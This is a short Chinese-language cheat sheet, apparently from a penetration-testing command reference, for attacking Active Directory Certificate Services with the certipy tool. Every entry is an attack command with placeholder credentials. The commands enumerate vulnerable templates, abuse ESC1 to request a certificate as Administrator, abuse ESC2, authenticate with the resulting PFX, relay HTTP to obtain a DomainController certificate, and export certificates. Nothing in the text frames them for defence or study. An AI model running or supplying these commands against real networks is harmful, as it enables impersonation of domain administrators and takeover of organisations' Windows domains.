域渗透

1 条工具命令

ADCS证书服务攻击工具

Step 0

枚举证书服务 platform: linux

certipy find -u user@domain.com -p password -dc-ip dc_ip

Step 0

ESC1模板滥用 platform: linux

certipy req -u user@domain.com -p password -ca CA_NAME -template Template -upn Administrator@domain.com

Step 0

ESC2任意用途 platform: linux

certipy req -u user@domain.com -p password -ca CA_NAME -template VULNERABLE_TEMPLATE

Step 0

使用证书认证 platform: linux

certipy auth -pfx administrator.pfx -domain domain.com

Step 0

HTTP中继攻击 platform: linux

certipy relay -ca ca_server -template DomainController

Step 0

导出PFX证书 platform: linux

certipy req -u user@domain.com -p password -ca CA_NAME -template User -out user.pfx